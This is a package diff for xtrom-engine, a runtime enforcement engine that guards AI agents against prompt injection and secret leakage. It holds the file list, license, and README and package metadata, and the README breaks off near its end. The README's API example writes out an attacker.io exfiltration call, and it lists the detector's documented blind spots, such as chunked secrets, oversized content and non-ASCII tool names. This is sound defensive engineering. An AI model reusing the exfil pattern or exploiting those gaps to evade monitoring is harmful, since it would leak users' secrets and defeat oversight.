xtrom-engine 0.3.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (63) hide show
  1. xtrom_engine-0.3.1/.gitignore +23 -0
  2. xtrom_engine-0.3.1/LICENSE +190 -0
  3. xtrom_engine-0.3.1/PKG-INFO +142 -0
  4. xtrom_engine-0.3.1/README.md +129 -0
  5. xtrom_engine-0.3.1/allowance_golden.json +516 -0
  6. xtrom_engine-0.3.1/benign_corpus.json +3334 -0
  7. xtrom_engine-0.3.1/builtin_actions.json +96 -0
  8. xtrom_engine-0.3.1/demo.py +65 -0
  9. xtrom_engine-0.3.1/fuzz_golden.json +1491 -0
  10. xtrom_engine-0.3.1/injection_heldout.json +80 -0
  11. xtrom_engine-0.3.1/memory_golden.json +1433 -0
  12. xtrom_engine-0.3.1/plan_golden.json +1071 -0
  13. xtrom_engine-0.3.1/pyproject.toml +25 -0
  14. xtrom_engine-0.3.1/result_golden.json +473 -0
  15. xtrom_engine-0.3.1/scripts/build_benign_corpus.py +63 -0
  16. xtrom_engine-0.3.1/scripts/gen_allowance_golden.py +101 -0
  17. xtrom_engine-0.3.1/scripts/gen_golden.py +417 -0
  18. xtrom_engine-0.3.1/scripts/gen_memory_golden.py +80 -0
  19. xtrom_engine-0.3.1/scripts/gen_plan_golden.py +190 -0
  20. xtrom_engine-0.3.1/scripts/gen_result_golden.py +115 -0
  21. xtrom_engine-0.3.1/scripts/gen_secret_golden.py +74 -0
  22. xtrom_engine-0.3.1/scripts/gen_target_golden.py +97 -0
  23. xtrom_engine-0.3.1/secret_golden.json +25297 -0
  24. xtrom_engine-0.3.1/target_golden.json +589 -0
  25. xtrom_engine-0.3.1/tests/fixtures/idp/auth0_discovery.json +5 -0
  26. xtrom_engine-0.3.1/tests/fixtures/idp/auth0_token.json +6 -0
  27. xtrom_engine-0.3.1/tests/fixtures/idp/entra_discovery.json +6 -0
  28. xtrom_engine-0.3.1/tests/fixtures/idp/entra_token.json +6 -0
  29. xtrom_engine-0.3.1/tests/fixtures/idp/okta_discovery.json +10 -0
  30. xtrom_engine-0.3.1/tests/fixtures/idp/okta_jwks.json +12 -0
  31. xtrom_engine-0.3.1/tests/fixtures/idp/okta_token.json +6 -0
  32. xtrom_engine-0.3.1/tests/fixtures/idp/ping_discovery.json +5 -0
  33. xtrom_engine-0.3.1/tests/fixtures/idp/ping_token.json +6 -0
  34. xtrom_engine-0.3.1/tests/test_allowances.py +14 -0
  35. xtrom_engine-0.3.1/tests/test_benign_corpus.py +36 -0
  36. xtrom_engine-0.3.1/tests/test_broker_http.py +261 -0
  37. xtrom_engine-0.3.1/tests/test_brokers.py +181 -0
  38. xtrom_engine-0.3.1/tests/test_core.py +844 -0
  39. xtrom_engine-0.3.1/tests/test_injection_heldout.py +25 -0
  40. xtrom_engine-0.3.1/tests/test_interfaces.py +105 -0
  41. xtrom_engine-0.3.1/tests/test_memory.py +84 -0
  42. xtrom_engine-0.3.1/tests/test_plan.py +39 -0
  43. xtrom_engine-0.3.1/tests/test_properties.py +1092 -0
  44. xtrom_engine-0.3.1/tests/test_result_inspection.py +64 -0
  45. xtrom_engine-0.3.1/tests/test_sinks.py +110 -0
  46. xtrom_engine-0.3.1/tests/test_sinks_multiregion.py +71 -0
  47. xtrom_engine-0.3.1/tests/test_telemetry.py +94 -0
  48. xtrom_engine-0.3.1/tests/test_worm_localstack.py +122 -0
  49. xtrom_engine-0.3.1/xtrom/__init__.py +12 -0
  50. xtrom_engine-0.3.1/xtrom/allowances.py +63 -0
  51. xtrom_engine-0.3.1/xtrom/brokers/__init__.py +217 -0
  52. xtrom_engine-0.3.1/xtrom/brokers/_http.py +266 -0
  53. xtrom_engine-0.3.1/xtrom/cli_fuzz.py +169 -0
  54. xtrom_engine-0.3.1/xtrom/cli_fuzz_cross.py +306 -0
  55. xtrom_engine-0.3.1/xtrom/core.py +1519 -0
  56. xtrom_engine-0.3.1/xtrom/interfaces/__init__.py +42 -0
  57. xtrom_engine-0.3.1/xtrom/interfaces/corpus_sink.py +147 -0
  58. xtrom_engine-0.3.1/xtrom/interfaces/idp_broker.py +118 -0
  59. xtrom_engine-0.3.1/xtrom/interfaces/policy_engine.py +120 -0
  60. xtrom_engine-0.3.1/xtrom/memory.py +178 -0
  61. xtrom_engine-0.3.1/xtrom/reason_text.json +30 -0
  62. xtrom_engine-0.3.1/xtrom/sinks/__init__.py +325 -0
  63. xtrom_engine-0.3.1/xtrom/telemetry/__init__.py +169 -0
@@ -0,0 +1,23 @@
1
+ # Python
2
+ __pycache__/
3
+ *.pyc
4
+ .venv/
5
+ dist/
6
+ build/
7
+ *.egg-info/
8
+
9
+ # Terraform
10
+ .terraform/
11
+ *.tfstate
12
+ *.tfstate.*
13
+ *.plan
14
+ crash.log
15
+
16
+ # Local
17
+ .env
18
+ .DS_Store
19
+ /tmp/
20
+
21
+ # Go build artifacts (compiled fuzz adapter / gateway binaries)
22
+ xtrom-gateway/cmd/fuzz-adapter/fuzz-adapter
23
+ xtrom-gateway/gateway
@@ -0,0 +1,190 @@
1
+ Apache License
2
+ Version 2.0, January 2004
3
+ http://www.apache.org/licenses/
4
+
5
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6
+
7
+ 1. Definitions.
8
+
9
+ "License" shall mean the terms and conditions for use, reproduction,
10
+ and distribution as defined by Sections 1 through 9 of this document.
11
+
12
+ "Licensor" shall mean the copyright owner or entity authorized by
13
+ the copyright owner that is granting the License.
14
+
15
+ "Legal Entity" shall mean the union of the acting entity and all
16
+ other entities that control, are controlled by, or are under common
17
+ control with that entity. For the purposes of this definition,
18
+ "control" means (i) the power, direct or indirect, to cause the
19
+ direction or management of such entity, whether by contract or
20
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
21
+ outstanding shares, or (iii) beneficial ownership of such entity.
22
+
23
+ "You" (or "Your") shall mean an individual or Legal Entity
24
+ exercising permissions granted by this License.
25
+
26
+ "Source" form shall mean the preferred form for making modifications,
27
+ including but not limited to software source code, documentation
28
+ source, and configuration files.
29
+
30
+ "Object" form shall mean any form resulting from mechanical
31
+ transformation or translation of a Source form, including but
32
+ not limited to compiled object code, generated documentation,
33
+ and conversions to other media types.
34
+
35
+ "Work" shall mean the work of authorship, whether in Source or
36
+ Object form, made available under the License, as indicated by a
37
+ copyright notice that is included in or attached to the work
38
+ (an example is provided in the Appendix below).
39
+
40
+ "Derivative Works" shall mean any work, whether in Source or Object
41
+ form, that is based on (or derived from) the Work and for which the
42
+ editorial revisions, annotations, elaborations, or other modifications
43
+ represent, as a whole, an original work of authorship. For the purposes
44
+ of this License, Derivative Works shall not include works that remain
45
+ separable from, or merely link (or bind by name) to the interfaces of,
46
+ the Work and Derivative Works thereof.
47
+
48
+ "Contribution" shall mean any work of authorship, including
49
+ the original version of the Work and any modifications or additions
50
+ to that Work or Derivative Works thereof, that is intentionally
51
+ submitted to Licensor for inclusion in the Work by the copyright owner
52
+ or by an individual or Legal Entity authorized to submit on behalf of
53
+ the copyright owner. For the purposes of this definition, "submitted"
54
+ means any form of electronic, verbal, or written communication sent
55
+ to the Licensor or its representatives, including but not limited to
56
+ communication on electronic mailing lists, source code control systems,
57
+ and issue tracking systems that are managed by, or on behalf of, the
58
+ Licensor for the purpose of discussing and improving the Work, but
59
+ excluding communication that is conspicuously marked or otherwise
60
+ designated in writing by the copyright owner as "Not a Contribution."
61
+
62
+ "Contributor" shall mean Licensor and any individual or Legal Entity
63
+ on behalf of whom a Contribution has been received by Licensor and
64
+ subsequently incorporated within the Work.
65
+
66
+ 2. Grant of Copyright License. Subject to the terms and conditions of
67
+ this License, each Contributor hereby grants to You a perpetual,
68
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69
+ copyright license to reproduce, prepare Derivative Works of,
70
+ publicly display, publicly perform, sublicense, and distribute the
71
+ Work and such Derivative Works in Source or Object form.
72
+
73
+ 3. Grant of Patent License. Subject to the terms and conditions of
74
+ this License, each Contributor hereby grants to You a perpetual,
75
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76
+ (except as stated in this section) patent license to make, have made,
77
+ use, offer to sell, sell, import, and otherwise transfer the Work,
78
+ where such license applies only to those patent claims licensable
79
+ by such Contributor that are necessarily infringed by their
80
+ Contribution(s) alone or by combination of their Contribution(s)
81
+ with the Work to which such Contribution(s) was submitted. If You
82
+ institute patent litigation against any entity (including a
83
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
84
+ or a Contribution incorporated within the Work constitutes direct
85
+ or contributory patent infringement, then any patent licenses
86
+ granted to You under this License for that Work shall terminate
87
+ as of the date such litigation is filed.
88
+
89
+ 4. Redistribution. You may reproduce and distribute copies of the
90
+ Work or Derivative Works thereof in any medium, with or without
91
+ modifications, and in Source or Object form, provided that You
92
+ meet the following conditions:
93
+
94
+ (a) You must give any other recipients of the Work or Derivative
95
+ Works a copy of this License; and
96
+
97
+ (b) You must cause any modified files to carry prominent notices
98
+ stating that You changed the files; and
99
+
100
+ (c) You must retain, in the Source form of any Derivative Works
101
+ that You distribute, all copyright, patent, trademark, and
102
+ attribution notices from the Source form of the Work,
103
+ excluding those notices that do not pertain to any part of
104
+ the Derivative Works; and
105
+
106
+ (d) If the Work includes a "NOTICE" text file as part of its
107
+ distribution, then any Derivative Works that You distribute must
108
+ include a readable copy of the attribution notices contained
109
+ within such NOTICE file, excluding those notices that do not
110
+ pertain to any part of the Derivative Works.
111
+
112
+ You may add Your own copyright statement to Your modifications and
113
+ may provide additional or different license terms and conditions
114
+ for use, reproduction, or distribution of Your modifications, or
115
+ for any such Derivative Works as a whole, provided Your use,
116
+ reproduction, and distribution of the Work otherwise complies with
117
+ the conditions stated in this License.
118
+
119
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
120
+ any Contribution intentionally submitted for inclusion in the Work
121
+ by You to the Licensor shall be under the terms and conditions of
122
+ this License, without any additional terms or conditions.
123
+ Notwithstanding the above, nothing herein shall supersede or modify
124
+ the terms of any separate license agreement you may have executed
125
+ with Licensor regarding such Contributions.
126
+
127
+ 6. Trademarks. This License does not grant permission to use the trade
128
+ names, trademarks, service marks, or product names of the Licensor,
129
+ except as required for reasonable and customary use in describing the
130
+ origin of the Work and reproducing the content of the NOTICE file.
131
+
132
+ 7. Disclaimer of Warranty. Unless required by applicable law or
133
+ agreed to in writing, Licensor provides the Work (and each
134
+ Contributor provides its Contributions) on an "AS IS" BASIS,
135
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
136
+ implied, including, without limitation, any warranties or conditions
137
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
138
+ PARTICULAR PURPOSE. You are solely responsible for determining the
139
+ appropriateness of using or redistributing the Work and assume any
140
+ risks associated with Your exercise of permissions under this License.
141
+
142
+ 8. Limitation of Liability. In no event and under no legal theory,
143
+ whether in tort (including negligence), contract, or otherwise,
144
+ unless required by applicable law (such as deliberate and grossly
145
+ negligent acts) or agreed to in writing, shall any Contributor be
146
+ liable to You for damages, including any direct, indirect, special,
147
+ incidental, or consequential damages of any character arising as a
148
+ result of this License or out of the use or inability to use the
149
+ Work (including but not limited to damages for loss of goodwill,
150
+ work stoppage, computer failure or malfunction, or any and all
151
+ other commercial damages or losses), even if such Contributor
152
+ has been advised of the possibility of such damages.
153
+
154
+ 9. Accepting Warranty or Additional Liability. While redistributing
155
+ the Work or Derivative Works thereof, You may choose to offer,
156
+ and charge a fee for, acceptance of support, warranty, indemnity,
157
+ or other liability obligations and/or rights consistent with this
158
+ License. However, in accepting such obligations, You may act only
159
+ on Your own behalf and on Your sole responsibility, not on behalf
160
+ of any other Contributor, and only if You agree to indemnify,
161
+ defend, and hold each Contributor harmless for any liability
162
+ incurred by, or claims asserted against, such Contributor by reason
163
+ of your accepting any such warranty or additional liability.
164
+
165
+ END OF TERMS AND CONDITIONS
166
+
167
+ APPENDIX: How to apply the Apache License to your work.
168
+
169
+ To apply the Apache License to your work, attach the following
170
+ boilerplate notice, with the fields enclosed by brackets "[]"
171
+ replaced with your own identifying information. (Don't include
172
+ the brackets!) The text should be enclosed in the appropriate
173
+ comment syntax for the file format. We also recommend that a
174
+ file or class name and description of purpose be included on the
175
+ same "printed page" as the copyright notice for easier
176
+ identification within third-party archives.
177
+
178
+ Copyright 2026 Xtrom
179
+
180
+ Licensed under the Apache License, Version 2.0 (the "License");
181
+ you may not use this file except in compliance with the License.
182
+ You may obtain a copy of the License at
183
+
184
+ http://www.apache.org/licenses/LICENSE-2.0
185
+
186
+ Unless required by applicable law or agreed to in writing, software
187
+ distributed under the License is distributed on an "AS IS" BASIS,
188
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
189
+ See the License for the specific language governing permissions and
190
+ limitations under the License.
@@ -0,0 +1,142 @@
1
+ Metadata-Version: 2.5
2
+ Name: xtrom-engine
3
+ Version: 0.3.1
4
+ Summary: Deterministic runtime enforcement engine for AI agents (taint/IFC + policy).
5
+ Author: Xtrom
6
+ License: Apache-2.0
7
+ License-File: LICENSE
8
+ Keywords: ai-agents,ifc,mcp,prompt-injection,security,taint-tracking
9
+ Requires-Python: >=3.10
10
+ Provides-Extra: dev
11
+ Requires-Dist: pytest>=8; extra == 'dev'
12
+ Description-Content-Type: text/markdown
13
+
14
+ # xtrom-engine
15
+
16
+ ![license](https://img.shields.io/badge/license-Apache--2.0-blue) ![tests](https://img.shields.io/badge/tests-14%2F14-brightgreen) ![deps](https://img.shields.io/badge/runtime%20deps-0-brightgreen) ![python](https://img.shields.io/badge/python-3.10%2B-blue)
17
+
18
+ **Deterministic runtime enforcement for AI agents.** The security-critical core of Xtrom: it tracks data **provenance** (taint / information-flow control) and enforces policy at the tool-call boundary, so untrusted data can never parameterize a sensitive action and secrets can never leave via a non-allowlisted egress — *regardless of how the request is worded.*
19
+
20
+ This is the productized form of the CaMeL / IFC research line — a **guarantee, not a guess**. No ML required for the core guarantee (that's an optional enhancement layer). Zero runtime dependencies.
21
+
22
+ ## Why it matters
23
+ The #1 agentic risk (OWASP ASI01 2026) is goal hijacking via prompt injection — and real 2026 attacks (Agentjacking, Clinejection) hijacked coding agents through poisoned files/tickets. Content filters must *recognise* the malicious text; we make the attack a **data-flow violation** that's blocked structurally.
24
+
25
+ ## The proof (vs. a probabilistic guardrail)
26
+ On a mixed agent-attack corpus, deterministic enforcement wins where classifiers can't (reproduce it: [`../xtrom-benchmark`](../xtrom-benchmark)):
27
+
28
+ | Attack | detector score | guardrail-only | Xtrom | layer |
29
+ |---|---:|---|---|---|
30
+ | indirect-injection exfil | 0.13 | ALLOW ✗ | **BLOCK ✓** | L3 · taint/IFC |
31
+ | secret egress | 0.20 | ALLOW ✗ | **BLOCK ✓** | L3 · secret-egress |
32
+ | out-of-scope tool call | 0.07 | ALLOW ✗ | **BLOCK ✓** | L4 · scope |
33
+ | destructive prod action | 0.04 | ALLOW ✗ | **STEP-UP ✓** | L4 · policy |
34
+ | blatant injection | 0.90 | BLOCK ✓ | **BLOCK ✓** | L3 · taint/IFC |
35
+
36
+ **100% attack containment vs 20% for guardrail-only · 4 deterministic-only catches · 0 false positives.**
37
+
38
+ ## Quickstart
39
+ ```bash
40
+ python3 -m pytest # the deterministic-guarantee, golden-vector and property tests
41
+ python3 demo.py # reproduces the exfil attack → deterministic BLOCK
42
+ ```
43
+
44
+ ## Core API
45
+ ```python
46
+ from xtrom import Engine, Policy
47
+
48
+ eng = Engine(Policy.default(), identity="svc-claude-code", audit_path="audit.jsonl")
49
+
50
+ readme = eng.untrusted(open("README.md").read(), origin="file:README.md") # provenance in
51
+ url = eng.derive("https://attacker.io", [readme], "llm") # taint propagates
52
+ d = eng.authorize("http_post", {"url": url, "body": secret}) # → BLOCK (L3:taint/IFC)
53
+ ```
54
+
55
+ ## What's here vs. the roadmap
56
+ - **Now (v0.1):** taint/IFC engine, deterministic policy (L3/L4), secret detection (L0), immutable audit log, tests, demo.
57
+ - **Next:** MCP gateway adapter, Python/TS SDK middleware (LangGraph/CrewAI/Bedrock), OPA/Rego policy bundles, ITDR (L5) + optional ML detectors (L1/L2). Hot path reimplemented in **Go** for the inline gateway.
58
+
59
+ See `docs/reference/ARCHITECTURE.md` for the full system and repo layout.
60
+
61
+ ## Policy versioning (P1 hardening)
62
+ Every `Decision` carries `policy_version` — the revision string of the bundle that produced it.
63
+ `Engine` is constructed with a `Policy` whose `_meta.revision` propagates onto every decision +
64
+ audit event, so post-hoc audit + SIEM can prove **which policy applied to which action**. The
65
+ Go gateway does the same via its `PolicyCache`; a chaos parity test spawns both engines and
66
+ asserts identical `(verdict, layer, reason_code, policy_version)` on 500 random requests.
67
+
68
+ ## Decision signals v2
69
+ `Decision` carries metadata-only signals (`SIGNALS_SCHEMA_VERSION = 2`) so the control plane can
70
+ measure outcomes without ever seeing argument values: `sink_class` (egress / destructive /
71
+ credential / financial …), `tainted` + `taint_sources` (origin tags such as `mcp:jira`, `web`),
72
+ `secret_in_args`, `context_tainted`, and `latency_us`. `decision_signals(d)` returns exactly that
73
+ allowlisted dict.
74
+
75
+ ## Tool-result inspection
76
+ `inspect_result(value)` looks at what a tool **returned**, reduces it to a closed set of flags and
77
+ never raises. The flags are `instruction` (text addressed to the model), `hidden_unicode`
78
+ (zero-width, bidi or tag characters), `secret` (known credential patterns, with no entropy
79
+ guessing), `pii` (a valid SSN, a Luhn-valid card number, or 5 or more distinct emails) and
80
+ `truncated` (over the 256 KiB scan budget).
81
+
82
+ It is observational: it never changes the verdict of the call that produced the result.
83
+
84
+ - **SDKs and the MCP gateway** report a call that ran once, after it finishes. The event carries
85
+ `result_flags` and `result_bytes`, so each call is still one event.
86
+ - **Later calls** in the same session carry `context_flags`, meaning what the session had already
87
+ ingested.
88
+ - **A steering result** (`instruction` or `hidden_unicode`) taints the session even if the tool
89
+ was not declared a source.
90
+ - **A `secret` result** taints the session too: beyond verbatim containment (a verbatim copy at an
91
+ egress arg still hard-BLOCKs via secret-egress), the session is context-tainted so a *paraphrased /
92
+ reformatted* copy of the credential is stepped-up at the next sink (Rule 2b). Context taint gates
93
+ sinks only, so reads are unaffected. This is enforced identically in the Python/TS SDKs and the
94
+ MCP gateway.
95
+ - **A `truncated` result** also taints the session: content beyond the 256 KiB scan budget is not
96
+ inspected, so the next sink requires approval instead of letting padding become a bypass.
97
+ - **Registered secrets are encoding-resistant.** Broker-minted secrets (`Engine.secret()`) and
98
+ secrets registered through `Policy.register_secret()` are matched in egress args after common
99
+ one-step transforms: base64 / URL-safe base64 (with or without padding), hex, percent-encoding
100
+ and reversed strings. Split/chunked secrets are still out of scope.
101
+
102
+ ### Enforcement contract and known blind spots
103
+ What each flag does to enforcement is a deliberate, tested contract:
104
+
105
+ | flag | effect on later calls |
106
+ |------|-----------------------|
107
+ | `instruction`, `hidden_unicode` | taint the session → next **sink** STEP_UPs (Rule 2b) |
108
+ | `secret` | taint the session (paraphrase STEP_UP) **and** verbatim egress hard-BLOCKs |
109
+ | `pii` | **evidence only** — recorded on the event, does not taint (precision: PII heuristics are lower-confidence; gate bulk-PII egress with explicit policy) |
110
+ | `truncated` | taint the session → next **sink** STEP_UPs, because flags are partial |
111
+
112
+ Documented, accepted blind spots (consistent across all three languages; closing any is a deliberate,
113
+ monitor-mode-first change, not a silent fix): content past the 256 KiB budget is not scanned for the
114
+ `secret`/`instruction` flags (the session is context-tainted and the taint tracker still retains
115
+ head+tail); encoded-secret matching covers common whole-secret transforms but not split/chunked
116
+ secrets; instruction patterns match on ASCII word boundaries, so a non-ASCII tool name in the injected text is not flagged; and PII
117
+ delivered as JSON *numbers* (a bare card/SSN integer) is not detected, since results are full of
118
+ numeric ids and scanning them would be a false-positive magnet.
119
+
120
+ Content never leaves the process. The Python, Go and TypeScript implementations are pinned to
121
+ `result_golden.json`, which `scripts/gen_result_golden.py` generates. Every pattern is bounded, so
122
+ hostile input scans in linear time.
123
+
124
+ - **`strict_ingress=True` is the default** (anti-laundering): verbatim re-wrapping of tainted
125
+ data as "trusted" keeps its taint. Opt out with `Engine(..., strict_ingress=False)`.
126
+ - **Balanced proven-taint mode (opt-in, Python engine only):** with
127
+ `Policy(untrusted_content_stepup=True)`, untrusted data that reaches only *content* args (body,
128
+ amount, subject…) returns `STEP_UP` (`UNTRUSTED_CONTENT_STEPUP`) instead of `BLOCK`. Untrusted
129
+ data in a *destination* arg (`Policy.destination_args`: recipient, url, iban, channel, user…)
130
+ still blocks unless the value is in `Policy.known_destinations`, or is a URL to an allowlisted
131
+ host. Unlabeled args, secret egress and high risk (≥ 0.75) still `BLOCK`. Default is strict.
132
+ - **Rule 2b — context taint:** a sensitive sink reached while the caller reports a tainted context
133
+ returns `STEP_UP` (`CONTEXT_TAINT_STEPUP`) unless the tool is in `Policy.context_taint_exempt`.
134
+ It never weakens a verdict: proven value taint still returns `BLOCK`, and high probabilistic risk
135
+ (≥ 0.75) falls through to the Rule 5 `BLOCK`. Only a read-style `http_fetch` to an allowlisted host
136
+ is exempt — write egress (`http_post`, `send_email`) steps up even to allowlisted hosts, because
137
+ posting private data to a trusted host (public issue / PR) is the canonical trifecta exfil.
138
+
139
+ ## License, security & contributing
140
+ - **License:** [Apache-2.0](LICENSE) — free to use, embed, and extend.
141
+ - **Security:** found a way past the guarantee? That's exactly what we want — see [`../SECURITY.md`](../SECURITY.md) for coordinated disclosure.
142
+ - **Contributing:** [`../CONTRIBUTING.md`](../CONTRIBUTING.md). Rule #1: the guarantee stays deterministic — detectors may only escalate, never downgrade a BLOCK/STEP_UP.
@@ -0,0 +1,129 @@
1
+ # xtrom-engine
2
+
3
+ ![license](https://img.shields.io/badge/license-Apache--2.0-blue) ![tests](https://img.shields.io/badge/tests-14%2F14-brightgreen) ![deps](https://img.shields.io/badge/runtime%20deps-0-brightgreen) ![python](https://img.shields.io/badge/python-3.10%2B-blue)
4
+
5
+ **Deterministic runtime enforcement for AI agents.** The security-critical core of Xtrom: it tracks data **provenance** (taint / information-flow control) and enforces policy at the tool-call boundary, so untrusted data can never parameterize a sensitive action and secrets can never leave via a non-allowlisted egress — *regardless of how the request is worded.*
6
+
7
+ This is the productized form of the CaMeL / IFC research line — a **guarantee, not a guess**. No ML required for the core guarantee (that's an optional enhancement layer). Zero runtime dependencies.
8
+
9
+ ## Why it matters
10
+ The #1 agentic risk (OWASP ASI01 2026) is goal hijacking via prompt injection — and real 2026 attacks (Agentjacking, Clinejection) hijacked coding agents through poisoned files/tickets. Content filters must *recognise* the malicious text; we make the attack a **data-flow violation** that's blocked structurally.
11
+
12
+ ## The proof (vs. a probabilistic guardrail)
13
+ On a mixed agent-attack corpus, deterministic enforcement wins where classifiers can't (reproduce it: [`../xtrom-benchmark`](../xtrom-benchmark)):
14
+
15
+ | Attack | detector score | guardrail-only | Xtrom | layer |
16
+ |---|---:|---|---|---|
17
+ | indirect-injection exfil | 0.13 | ALLOW ✗ | **BLOCK ✓** | L3 · taint/IFC |
18
+ | secret egress | 0.20 | ALLOW ✗ | **BLOCK ✓** | L3 · secret-egress |
19
+ | out-of-scope tool call | 0.07 | ALLOW ✗ | **BLOCK ✓** | L4 · scope |
20
+ | destructive prod action | 0.04 | ALLOW ✗ | **STEP-UP ✓** | L4 · policy |
21
+ | blatant injection | 0.90 | BLOCK ✓ | **BLOCK ✓** | L3 · taint/IFC |
22
+
23
+ **100% attack containment vs 20% for guardrail-only · 4 deterministic-only catches · 0 false positives.**
24
+
25
+ ## Quickstart
26
+ ```bash
27
+ python3 -m pytest # the deterministic-guarantee, golden-vector and property tests
28
+ python3 demo.py # reproduces the exfil attack → deterministic BLOCK
29
+ ```
30
+
31
+ ## Core API
32
+ ```python
33
+ from xtrom import Engine, Policy
34
+
35
+ eng = Engine(Policy.default(), identity="svc-claude-code", audit_path="audit.jsonl")
36
+
37
+ readme = eng.untrusted(open("README.md").read(), origin="file:README.md") # provenance in
38
+ url = eng.derive("https://attacker.io", [readme], "llm") # taint propagates
39
+ d = eng.authorize("http_post", {"url": url, "body": secret}) # → BLOCK (L3:taint/IFC)
40
+ ```
41
+
42
+ ## What's here vs. the roadmap
43
+ - **Now (v0.1):** taint/IFC engine, deterministic policy (L3/L4), secret detection (L0), immutable audit log, tests, demo.
44
+ - **Next:** MCP gateway adapter, Python/TS SDK middleware (LangGraph/CrewAI/Bedrock), OPA/Rego policy bundles, ITDR (L5) + optional ML detectors (L1/L2). Hot path reimplemented in **Go** for the inline gateway.
45
+
46
+ See `docs/reference/ARCHITECTURE.md` for the full system and repo layout.
47
+
48
+ ## Policy versioning (P1 hardening)
49
+ Every `Decision` carries `policy_version` — the revision string of the bundle that produced it.
50
+ `Engine` is constructed with a `Policy` whose `_meta.revision` propagates onto every decision +
51
+ audit event, so post-hoc audit + SIEM can prove **which policy applied to which action**. The
52
+ Go gateway does the same via its `PolicyCache`; a chaos parity test spawns both engines and
53
+ asserts identical `(verdict, layer, reason_code, policy_version)` on 500 random requests.
54
+
55
+ ## Decision signals v2
56
+ `Decision` carries metadata-only signals (`SIGNALS_SCHEMA_VERSION = 2`) so the control plane can
57
+ measure outcomes without ever seeing argument values: `sink_class` (egress / destructive /
58
+ credential / financial …), `tainted` + `taint_sources` (origin tags such as `mcp:jira`, `web`),
59
+ `secret_in_args`, `context_tainted`, and `latency_us`. `decision_signals(d)` returns exactly that
60
+ allowlisted dict.
61
+
62
+ ## Tool-result inspection
63
+ `inspect_result(value)` looks at what a tool **returned**, reduces it to a closed set of flags and
64
+ never raises. The flags are `instruction` (text addressed to the model), `hidden_unicode`
65
+ (zero-width, bidi or tag characters), `secret` (known credential patterns, with no entropy
66
+ guessing), `pii` (a valid SSN, a Luhn-valid card number, or 5 or more distinct emails) and
67
+ `truncated` (over the 256 KiB scan budget).
68
+
69
+ It is observational: it never changes the verdict of the call that produced the result.
70
+
71
+ - **SDKs and the MCP gateway** report a call that ran once, after it finishes. The event carries
72
+ `result_flags` and `result_bytes`, so each call is still one event.
73
+ - **Later calls** in the same session carry `context_flags`, meaning what the session had already
74
+ ingested.
75
+ - **A steering result** (`instruction` or `hidden_unicode`) taints the session even if the tool
76
+ was not declared a source.
77
+ - **A `secret` result** taints the session too: beyond verbatim containment (a verbatim copy at an
78
+ egress arg still hard-BLOCKs via secret-egress), the session is context-tainted so a *paraphrased /
79
+ reformatted* copy of the credential is stepped-up at the next sink (Rule 2b). Context taint gates
80
+ sinks only, so reads are unaffected. This is enforced identically in the Python/TS SDKs and the
81
+ MCP gateway.
82
+ - **A `truncated` result** also taints the session: content beyond the 256 KiB scan budget is not
83
+ inspected, so the next sink requires approval instead of letting padding become a bypass.
84
+ - **Registered secrets are encoding-resistant.** Broker-minted secrets (`Engine.secret()`) and
85
+ secrets registered through `Policy.register_secret()` are matched in egress args after common
86
+ one-step transforms: base64 / URL-safe base64 (with or without padding), hex, percent-encoding
87
+ and reversed strings. Split/chunked secrets are still out of scope.
88
+
89
+ ### Enforcement contract and known blind spots
90
+ What each flag does to enforcement is a deliberate, tested contract:
91
+
92
+ | flag | effect on later calls |
93
+ |------|-----------------------|
94
+ | `instruction`, `hidden_unicode` | taint the session → next **sink** STEP_UPs (Rule 2b) |
95
+ | `secret` | taint the session (paraphrase STEP_UP) **and** verbatim egress hard-BLOCKs |
96
+ | `pii` | **evidence only** — recorded on the event, does not taint (precision: PII heuristics are lower-confidence; gate bulk-PII egress with explicit policy) |
97
+ | `truncated` | taint the session → next **sink** STEP_UPs, because flags are partial |
98
+
99
+ Documented, accepted blind spots (consistent across all three languages; closing any is a deliberate,
100
+ monitor-mode-first change, not a silent fix): content past the 256 KiB budget is not scanned for the
101
+ `secret`/`instruction` flags (the session is context-tainted and the taint tracker still retains
102
+ head+tail); encoded-secret matching covers common whole-secret transforms but not split/chunked
103
+ secrets; instruction patterns match on ASCII word boundaries, so a non-ASCII tool name in the injected text is not flagged; and PII
104
+ delivered as JSON *numbers* (a bare card/SSN integer) is not detected, since results are full of
105
+ numeric ids and scanning them would be a false-positive magnet.
106
+
107
+ Content never leaves the process. The Python, Go and TypeScript implementations are pinned to
108
+ `result_golden.json`, which `scripts/gen_result_golden.py` generates. Every pattern is bounded, so
109
+ hostile input scans in linear time.
110
+
111
+ - **`strict_ingress=True` is the default** (anti-laundering): verbatim re-wrapping of tainted
112
+ data as "trusted" keeps its taint. Opt out with `Engine(..., strict_ingress=False)`.
113
+ - **Balanced proven-taint mode (opt-in, Python engine only):** with
114
+ `Policy(untrusted_content_stepup=True)`, untrusted data that reaches only *content* args (body,
115
+ amount, subject…) returns `STEP_UP` (`UNTRUSTED_CONTENT_STEPUP`) instead of `BLOCK`. Untrusted
116
+ data in a *destination* arg (`Policy.destination_args`: recipient, url, iban, channel, user…)
117
+ still blocks unless the value is in `Policy.known_destinations`, or is a URL to an allowlisted
118
+ host. Unlabeled args, secret egress and high risk (≥ 0.75) still `BLOCK`. Default is strict.
119
+ - **Rule 2b — context taint:** a sensitive sink reached while the caller reports a tainted context
120
+ returns `STEP_UP` (`CONTEXT_TAINT_STEPUP`) unless the tool is in `Policy.context_taint_exempt`.
121
+ It never weakens a verdict: proven value taint still returns `BLOCK`, and high probabilistic risk
122
+ (≥ 0.75) falls through to the Rule 5 `BLOCK`. Only a read-style `http_fetch` to an allowlisted host
123
+ is exempt — write egress (`http_post`, `send_email`) steps up even to allowlisted hosts, because
124
+ posting private data to a trusted host (public issue / PR) is the canonical trifecta exfil.
125
+
126
+ ## License, security & contributing
127
+ - **License:** [Apache-2.0](LICENSE) — free to use, embed, and extend.
128
